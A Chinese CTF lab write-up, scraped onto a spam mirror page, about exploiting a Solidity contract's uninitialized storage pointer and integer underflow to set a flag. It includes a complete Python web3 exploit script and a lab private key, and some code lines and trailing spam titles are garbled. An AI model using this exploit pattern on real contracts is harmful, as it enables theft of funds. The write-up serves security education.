当前位置: 首页 > news >正文

网站备案要买备案号网站系统开发方式

网站备案要买备案号,网站系统开发方式,网站建设类论文选题,企业服务中心属于什么部门系列文章目录 文章目录 系列文章目录未初始化的存储指针实战二实验目的实验环境实验工具实验原理实验内容实验过程EXP利用 未初始化的存储指针实战二 实验目的 学会使用python3的web3模块 学会分析以太坊智能合约未初始化的存储指针漏洞 找到合约漏洞进行分析并形成利用 实验…

系列文章目录

文章目录

  • 系列文章目录
  • 未初始化的存储指针实战二
    • 实验目的
    • 实验环境
    • 实验工具
    • 实验原理
    • 实验内容
    • 实验过程
    • EXP利用


未初始化的存储指针实战二

实验目的

学会使用python3的web3模块
学会分析以太坊智能合约未初始化的存储指针漏洞
找到合约漏洞进行分析并形成利用

实验环境

Ubuntu18.04操作机

实验工具

python3

实验原理

在solidity语言中,像动态的数组、struct、mapping这样的复杂数据结构是不能直接在”栈”里面保存的,因为”栈”里只能保存单独的”字”,也就是只能保存实际数据长度小于等于32字节的简单数据类型。所以在solidity智能合约函数中声明动态数组和struct时,必须明确指明其位置在storage还是memory中。
函数内声明的struct若未初始化,若对其赋值,则会按照Solidity存储规则从slot 0开始存储,覆盖之前slot位置的变量,造成不可预想的控制流劫持。

实验内容

合约中内置了未初始化的存储指针和整数溢出问题,找到合约漏洞并形成利用,把合约中的flag变量设置为true即可
使用python3的web3模块远程利用漏洞并获取flag
实验地址为nc ip 10008

实验过程

获取合约地址和合约源代码
nc ip 10008连接到题目,输入1,获取部署合约的game account及token
在这里插入图片描述

打开http://ip,输入上述分配的game account,点击Request获取eth
在这里插入图片描述

在这里插入图片描述

nc ip 10008连接到题目,输入2,获取部署合约的地址及new token
在这里插入图片描述

nc ip 10008连接到题目,输入4,获取合约源代码,或者在题目附件找到合约源代码
在这里插入图片描述

分析合约源代码漏洞
题目要求将合约中的flag变量设置为true
在这里插入图片描述

分析代码逻辑,需要满足balanceOf[msg.sender] >= 10000000,但是并未有可以增加balanceOf[msg.sender]的代码
漏洞在ubw函数中,函数中的第二个分支不存在初始化,n在执行的时候会形成未初始化漏洞,那么只要我们进入第二个分支就会修改storage中的第一个值为我们的地址,第二个值为2
第一个值为secret 因此通过未初始化漏洞我们可以执行onlySecret修饰的 fate函数,fate函数中存在整数溢出漏洞
通过整数溢出,我们可以获得大量余额,然后payforflag即可将flag设置为true

EXP利用

用python编写自动化exp,将下述contract_address替换成自己的题目合约地址即可,总共包括三个步骤:一是调用题目合约ubw()函数并转账3 wei,这样就会进入到else分支,将slot 0位置的secret覆盖成msg.sender,就可以满足onlySecret;二是调用题目合约fate(0,1)函数,因为balanceOf[msg.sender]=0,此时0-1会产生整数下溢,满足require的条件;三是调用题目合约payforflag()函数,因为此时balanceOf[msg.sender]由于整数下溢漏洞已经变成一个很大的数,满足>=10000000的要求,可将flag设置为true

from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import timew3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))contract_address = "0x2880bF5Afe97F3bF983598E135474D743AC366C3"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"def generate_tx(chainID, to, data, value):txn = {'chainId': chainID,'from': Web3.toChecksumAddress(public),'to': to,'gasPrice': w3.eth.gasPrice,'gas': 3000000,'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),'value': Web3.toWei(value, 'ether'),'data': data,}return txndef sign_and_send(txn):signed_txn = w3.eth.account.signTransaction(txn, private)txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)print("txn_hash=", txn_hash)return txn_receiptset_solc_version_pragma('^0.4.23')# call ubw() in ETH8 with 3 wei
data = Web3.keccak(text='ubw()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 3e-18)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):print("call ubw() success")time.sleep(5)# call fate(0,1) in ETH8
data = Web3.keccak(text='fate(address,uint256)').hex()[:10]
data += '0'*64
data += '1'.rjust(64, '0')
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
txn_receipt = sign_and_send(txn)
# print(txn_receipt)
if(txn_receipt['status']==1):print("call fate(0,1) success")time.sleep(5)# call payforflag() in ETH8
data = Web3.keccak(text='payforflag()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
txn_receipt = sign_and_send(txn)
# print(txn_receipt)
if(txn_receipt['status']==1):print("call payforflag() success")

执行exp
在这里插入图片描述

nc ip 10008连接到题目,输入3,输入之前的new token,获取flag
在这里插入图片描述

http://www.yayakq.cn/news/628394/

相关文章:

  • 专业的单位网站开发开发运营平台是什么意思
  • 知名建站的公司甘肃网站建设开发
  • php网站搬家软件网站建设的费用记什么科目
  • 站长工具使用各大网站名称
  • 网站前台用什么开发wordpress竖直导航栏
  • 打名字就说你是什么做的网站西安网站建设建站系统
  • 成都龙泉建设发展有限公司网站做网站用什么开发工具
  • 专门做壁纸的网站网站添加cnzz
  • 网站如何做宣传1688官网电脑版
  • 网站地图生成器佛山市手机网站建设企业
  • 免费开网站系统深圳好的网站建设公司排名
  • 企业网站关联优化公司注册需要准备哪些资料
  • 网站建设服务公百度推广客户端登录
  • 手机版网站建设价格三亚网站怎么制作
  • 网站注销申请表查域名价格
  • 网站建设胶州企业展厅设计装修
  • 开发一个网站的过程是什么域名备案号查询
  • 资料库网站应该怎么做快速开发网站
  • 中山好的做网站的公司wordpress dplayer
  • 网站百度推广怎么做的xampp本地搭建网站
  • 网站建设立项申请书外贸网站平台是不是很难做
  • 东莞网站建设智搜宝万网空间最多放几个网站
  • 合肥比较好的网站建设公司长春关键词排名公司
  • 怎么在公司网站上安装百度商桥最新网站
  • 电商是干什么的是什么意思厦门seo百度快照优化
  • 可做免费推广产品的网站有哪些百度app下载安装 官方
  • dw个人网站建立教学网站做链轮会被惩罚吗
  • 创业做app哪个网站好网站实名认证需要什么
  • 石家庄网站推广专家简单电子商务网站开发
  • 平顶山做网站推广自适应wordpress模板免费